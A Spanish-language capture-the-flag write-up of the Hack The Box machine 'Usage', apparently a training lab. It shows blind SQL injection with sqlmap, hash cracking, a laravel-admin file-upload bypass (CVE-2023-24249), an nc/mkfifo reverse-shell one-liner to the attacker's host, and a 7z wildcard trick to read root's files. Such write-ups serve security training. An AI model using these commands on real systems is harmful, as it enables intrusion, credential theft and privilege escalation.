# HTB - Usage

<figure><img src="https://2418983862-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLGWbtqRCldHo6WEY0xxg%2Fuploads%2FTupubBiKQmx82s14MVBe%2FUsage.png?alt=media&#x26;token=160838a1-ab1e-4984-803f-4b282387107f" alt=""><figcaption></figcaption></figure>

## Información General

* **Nombre de la Máquina:  Usage**
* **IP de la Máquina:** 10.129.26.222
* **Sistema Operativo: Linux**
* **Dificultad: Easy**
* **Fecha de Publicación:**  13 Apr 2024

***

## Enumeration

### Ping para obtener ruta de retorno

Realizamos un ping a la máquina objetivo para verificar la conectividad y obtener información sobre la ruta utilizando la opción `-R` para incluir la ruta de retorno:

{% code title="Kali Linux Machine" %}

```bash
ping -c 1 10.129.26.222 -R
```

{% endcode %}

<div align="left"><figure><img src="https://2418983862-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLGWbtqRCldHo6WEY0xxg%2Fuploads%2FAxAQQ1DzZsfHnByP6wqP%2Fimage.png?alt=media&#x26;token=e3cce43a-652e-4c3f-b034-3b9dafdc4094" alt=""><figcaption></figcaption></figure></div>

El valor de TTL (Time To Live) igual a 63 puede ser indicativo de que el sistema operativo de la máquina objetivo es Linux. El TTL es un valor en el campo de los paquetes IP que indica la duración que un paquete puede estar en una red antes de ser descartado. Linux establece por defecto el valor de TTL de sus paquetes IP en 64, que al pasar por un salto en la red se decrementa a 63.

### **Escaneo de puertos con Nmap**

Luego, realizamos un escaneo de puertos utilizando Nmap para identificar los puertos abiertos en la máquina objetivo. Utilizamos las opciones `-p-` para escanear todos los puertos, `--open` para mostrar solo los puertos abiertos, `-sS` para un escaneo de tipo TCP SYN, `--min-rate 5000` para establecer la velocidad mínima de paquetes y `-vvv` para un nivel de verbosidad alto. Además, utilizamos `-n` para desactivar la resolución de DNS, `-Pn` para no realizar el escaneo de ping, y `-oG allPorts` para guardar la salida en un archivo con formato Greppable <mark style="color:yellow;">para luego utilizar nuestra función extractPorts</mark>:

<pre class="language-bash" data-title="Kali Linux Machine" data-overflow="wrap"><code class="lang-bash"><strong>sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.26.222 -oG allPorts
</strong>extractPorts allPorts
</code></pre>

<figure><img src="https://2418983862-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLGWbtqRCldHo6WEY0xxg%2Fuploads%2FYfuipNEJHkpvpsqBmggn%2Fimage.png?alt=media&#x26;token=c3916a95-b44a-449e-893c-6d6db3253a7f" alt=""><figcaption></figcaption></figure>

### **Escaneo detallado con Nmap**

Posteriormente, realizamos un escaneo más detallado de los puertos identificados utilizando la opción `-sCV` para detección de versiones y scripts de enumeración de servicios. Específicamente, indicamos los puertos a escanear con `-p __PORTS__` (reemplazando `__PORTS__` con los puertos identificados en el paso anterior) y guardamos la salida en un archivo de texto con el nombre `targeted`:

{% code title="Kali Linux Machine" %}

```bash
sudo nmap -sCV -p22,80,8888 10.129.26.222 -oN targeted
```

{% endcode %}

```bash
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-15 21:11 EDT
Nmap scan report for usage.htb (10.129.26.222)
Host is up (0.31s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 a0:f8:fd:d3:04:b8:07:a0:63:dd:37:df:d7:ee:ca:78 (ECDSA)
|_  256 bd:22:f5:28:77:27:fb:65:ba:f6:fd:2f:10:c7:82:8f (ED25519)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Daily Blogs
8888/tcp open  http    SimpleHTTPServer 0.6 (Python 3.10.12)
|_http-title: Directory listing for /
|_http-server-header: SimpleHTTP/0.6 Python/3.10.12
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.02 seconds
```

### Modificando /etc/hosts

Para añadir la entrada "10.129.179.64 active.htb" al archivo `/etc/hosts`, puedes usar el siguiente comando en la terminal:

{% code title="Kali Linux Machine" overflow="wrap" %}

```bash
echo "10.129.26.222 usage.htb  " | sudo tee -a /etc/hosts
```

{% endcode %}

### &#x20;Explorando usage.htb

<figure><img src="https://2418983862-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLGWbtqRCldHo6WEY0xxg%2Fuploads%2FGSF1C1IhNWJtTVF3Ro4b%2Fimage.png?alt=media&#x26;token=3999a269-9866-48f5-a113-56fcece37e63" alt=""><figcaption></figcaption></figure>

Estas son las rutas que encuentro. Las cuales revisaré con Burpsuite para entenderlas mejor. Además tambien agregué admin.usage.htb a /etc/hosts.

{% code title="List o f Links" %}

```bash
usage.htb/login
usage.htb/registration
admin.usage.htb
usage.htb/post-login
usage.htb/forget-password
admin.usage.htb/admin
admin.usage.htb/admin/auth/login
```

{% endcode %}

Creo mi cuenta en usage.htb/registration

```bash
test@test.test : test123!
```

Intento resetear la clave en usage.htb/forget-password

<div align="left"><figure><img src="https://2418983862-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLGWbtqRCldHo6WEY0xxg%2Fuploads%2FXaRnWTGkgM6BOtQp5YYj%2Fimage.png?alt=media&#x26;token=d513dc52-d01c-4ba1-ae8c-dc8f9c5e5a85" alt=""><figcaption></figcaption></figure></div>

## Blind SQLi en /forget-password

Interceptamos la consulta con Burpsuite  de /forget-password y nos percatamos de un posible BSQLi

<figure><img src="https://2418983862-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLGWbtqRCldHo6WEY0xxg%2Fuploads%2F6nrMtOGa0L6VtJyTY3fM%2Fimage.png?alt=media&#x26;token=ae884e4e-f2b0-4266-8aa8-609f3590c0bd" alt=""><figcaption></figcaption></figure>

Al hacer pruebas en el campo email, puedo identificar que quizás es vulnerable a SQLi, pero no demuestra ser una normal quizás un blind sqli, por lo que utilizaré SQLmap.

Para ello copiaré el request que obtuve de Burpsuite y lo guardaré en un archivo request.txt

{% code title="Burpsuite Request" %}

```bash
POST /forget-password HTTP/1.1
Host: usage.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 70
Origin: http://usage.htb
Connection: close
Referer: http://usage.htb/forget-password
Cookie: XSRF-TOKEN=eyJpdiI6IkZla0FnT29QRy9JVS9nQmVjdTZlOEE9PSIsInZhbHVlIjoiY2tXL0dvM29iS2hyZjk2U3JoZm1QTTFKQ2Y0LzNESG43ZXUvRkxJaGI0WWthSUxRaVI5b0l1VUJOaTlxWk53c1ZJZFdNdkZOck0vRVQ3M1VabGE3THd1N1UrT2JDUTVnNk1RS0NSZUFobjZpeUFQa1lBVHFxSy8wWkRWdGk4UG8iLCJtYWMiOiIyNjU5OGQ0NzQ2MjUwODcwNzdhNWU5YmE0ZjQ3ZTRhOWRiMmYyYWIwMzA4MDc4NWYyNTQ2ZTZhOGU0ZGVmYTYzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjFMV0ZCQlJ6T0NoblZuTkt5bjI5OWc9PSIsInZhbHVlIjoiOUY4NnN5eGUvSkpINjhIeHJLd0hnNEsyeVNVb0EzdFhGTkxIZTZRdFYxeFdTVDEybE9YcWI1L1dQUVJiMDQvZExlMUtzaUpVZXI5UmlGdW5HU2pXL0NMbjVYVGJnNVp0ak94TGhTLzFjVGZIL1paWGlaNWk1UFBFQlpmcVhkamUiLCJtYWMiOiI2NjhiYzg0NjFkOWQ1OTg3ZjFkOTY4ODE3ZGU0ZDU4MzM5YmNkYWQxODIyNDIwYjdmOWRiNDU5ZDM2ODFjNGQ0IiwidGFnIjoiIn0%3D
Upgrade-Insecure-Requests: 1

_token=NfCIRLM1PvC4PagbIi5GqaJkdlGveVbqNWPccOew&email=test%40test.test
```

{% endcode %}

Luego utilizo SQLmap con el parametro -r&#x20;

{% code title="Kali Linux Machine" %}

```bash
sqlmap -r request.txt --level 5 --risk 3 -p email --batch
```

{% endcode %}

<figure><img src="https://2418983862-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLGWbtqRCldHo6WEY0xxg%2Fuploads%2FPmKHMogt3qwhRYOnaeKk%2Fimage.png?alt=media&#x26;token=eef88860-2dad-4c1d-88c9-92021eee631b" alt=""><figcaption></figcaption></figure>

### Explotando Blind SQLi con SQLmap

Es blindsql así que puede tardar un poco mas de lo habitual.

{% code title="Kali Linux Machine" %}

```bash
sqlmap -r request.txt --level 5 --risk 3 -p email --batch --dbs --threads 10
sqlmap -r request.txt --level 5 --risk 3 -p email --batch -D usage_blog --threads 10
sqlmap -r request.txt --level 5 --risk 3 -p email --batch -D usage_blog -T admin_users -C username,password --dump --threads 10
```

{% endcode %}

<figure><img src="https://2418983862-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLGWbtqRCldHo6WEY0xxg%2Fuploads%2Fe8bF4BZQYdekoynSxFgK%2Fimage.png?alt=media&#x26;token=8bc2db96-2ccb-4a27-864d-35ebbb9129e8" alt=""><figcaption></figcaption></figure>

## Crackeamos el hash con john

<figure><img src="https://2418983862-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLGWbtqRCldHo6WEY0xxg%2Fuploads%2FVsYFvRQPmnw6KPvoZy77%2Fimage.png?alt=media&#x26;token=c1a52953-278a-468c-975e-fcd5bb81ef6e" alt=""><figcaption></figcaption></figure>

Ingresamos con las credenciales en admin.usage.htb

<figure><img src="https://2418983862-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLGWbtqRCldHo6WEY0xxg%2Fuploads%2Fn2zD2WWLT8RsIe1pjoix%2Fimage.png?alt=media&#x26;token=757e9505-5ab0-45ee-9030-62f2874b3c58" alt=""><figcaption></figcaption></figure>

## CVE-2023-24249

Y revisando encontramos que es un panel de administración Laravel 1.8.17, buscando en internet me encuentro con el `CVE-2023-24249`

*`An arbitrary file upload vulnerability in laravel-admin v1.8.19 allows attackers to execute arbitrary code via a crafted PHP file.`*

Se refierere a cuando vamos a cambiar el avatar de nuestro usuario Administador en [`http://admin.usage.htb/admin/auth/setting`](http://admin.usage.htb/admin/auth/setting)

<figure><img src="https://2418983862-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLGWbtqRCldHo6WEY0xxg%2Fuploads%2FctYrVUzC2Pd0XoNUvEpD%2Fimage.png?alt=media&#x26;token=11aacd9a-f24d-4c06-80b3-f925eb774858" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
Podemos encontrar un tutorial de como ejecutar este bypass aquí

<https://flyd.uk/post/cve-2023-24249/>
{% endhint %}

Subimos nuestro archivo malicioso en formato `.JPG y al mismo tiempo interceptamos con Burpsuite.`

<figure><img src="https://2418983862-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLGWbtqRCldHo6WEY0xxg%2Fuploads%2F8j3xe926c0x7R8t4s5j0%2Fimage.png?alt=media&#x26;token=9914a0d2-325d-476d-9877-d64fea405c88" alt=""><figcaption></figcaption></figure>

En `filename="pown.jpg"` le agrego **.php** a nuestro archivo quedando: `pown.jpg.php`, luego lo mando al Repeater (`CTRL + R)`  -> Send ->`Follow Redirection`&#x20;

<figure><img src="https://2418983862-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLGWbtqRCldHo6WEY0xxg%2Fuploads%2FA2hq8M9oEWLj2sfkHcoC%2Fimage.png?alt=media&#x26;token=0d311c0a-4f5b-45e8-b082-c1b2a61057b5" alt=""><figcaption></figcaption></figure>

Y  luego vamos a la ruta donde debería estar nuestro archivo `admin.usage.htb/uploads/images/pown.jpg.php`

<div align="left"><figure><img src="https://2418983862-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLGWbtqRCldHo6WEY0xxg%2Fuploads%2FHGfpYWM3zum4dusOqb6S%2Fimage.png?alt=media&#x26;token=3887e4c5-7b82-4c63-8893-043ae2c84421" alt=""><figcaption></figcaption></figure></div>

Te recomiendo que establezcas una **reverse shell** ya que  después de unos minutos el archivo que subimos es eliminado y tendrás que bypassear de nuevo el uploader. Yo ejecuto el one liner:

{% code title="Powny Shell" %}

```bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.8 7777 >/tmp/f
```

{% endcode %}

<div align="left"><figure><img src="https://2418983862-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLGWbtqRCldHo6WEY0xxg%2Fuploads%2FHj04c9dKVRGB2FcrCJ6J%2Fimage.png?alt=media&#x26;token=ecf5a540-8ba2-4436-a0f3-c6f86881f94a" alt=""><figcaption></figcaption></figure></div>

{% code title="Kali Linux Machine" %}

```bash
script /dev/null -c /bin/bash
export TERM=xterm
stty raw -echo; fg
```

{% endcode %}

## Buscamos las credenciales del usuario Xander

Lo primero que hice fue subir LinEnum para tener una visión mas amplia de mi objetivo, al parecer también hay otro usuario `Xander.` También me encontré con la existencia de varios archivos ocultos en el escritorio de `Dash.`

<div align="left"><figure><img src="https://2418983862-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLGWbtqRCldHo6WEY0xxg%2Fuploads%2F1jjLdwudHOgGZC4G9sS3%2Fimage.png?alt=media&#x26;token=57b520fa-fcd7-45e6-ab3b-6551fc21be3b" alt=""><figcaption></figcaption></figure></div>

Después de revisar una por una  encuentro  una contraseña  en el archivo **`.monitrc`**

<div align="left"><figure><img src="https://2418983862-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLGWbtqRCldHo6WEY0xxg%2Fuploads%2F6z8yHT3SBLJNLCp9V9Cc%2Fimage.png?alt=media&#x26;token=2076626b-37de-47fe-ae6a-3992b45619f8" alt=""><figcaption></figcaption></figure></div>

```bash
3nc0d3d_pa$$w0rd
```

## Ingresando como Xander

Quiero creer que esta es la contraseña de `Xander` así que pruebo conectandome  mediante SSH.

{% code title="" %}

```bash
ssh xander@usage.htb 
3nc0d3d_pa$$w0rd
```

{% endcode %}

## Privilege Escalation

{% code title="Kali Linux Machine" %}

```bash
python3  -m  http.server 8888
```

{% endcode %}

{% code title="Target Linux Machine" %}

```bash
curl 10.10.14.8:8888/LinEnum.sh -o LinEnum.sh
chmod +x LinEnum.sh
./LinEnum.sh
```

{% endcode %}

{% code title="Target Linux Machine" %}

```bash
sudo -l
(ALL : ALL) NOPASSWD: /usr/bin/usage_management
```

{% endcode %}

```bash
strings /usr/bin/usage_management
```

Nos damos cuenta que usa 7z para comprimir todo lo de /var/www/html/ y lo hace al final colocando  "..\*", esto es una Wildcard y podemos abusar de ella.

{% code title="Target Linux Machine" %}

```bash
sudo /usr/bin/usage_management
Choose an option:
Project Backup
Backup MySQL data
Reset admin password
```

{% endcode %}

{% code title="Target Linux Machine" %}

```bash
cd /var/www/html/
touch '@root.txt'
ln -s -r /root/root.txt root.txt
sudo /usr/bin/usage_management #Opcion 1 (Project Backup)
```

{% endcode %}

Y mientras se ejecuta el binario debería lanzarnos el root.txt.

<figure><img src="https://2418983862-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLGWbtqRCldHo6WEY0xxg%2Fuploads%2FBBpxdYEwjaP37wpvOJS3%2FProyecto%20nuevo%20(1).png?alt=media&#x26;token=3423bac2-2305-48e6-b798-1b46867e5c4b" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2418983862-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLGWbtqRCldHo6WEY0xxg%2Fuploads%2Fopb65p9Vtqm2bgJKqxRa%2Fimage.png?alt=media&#x26;token=79c76e58-29ff-4b48-b27b-d1e4564a9288" alt=""><figcaption></figcaption></figure>
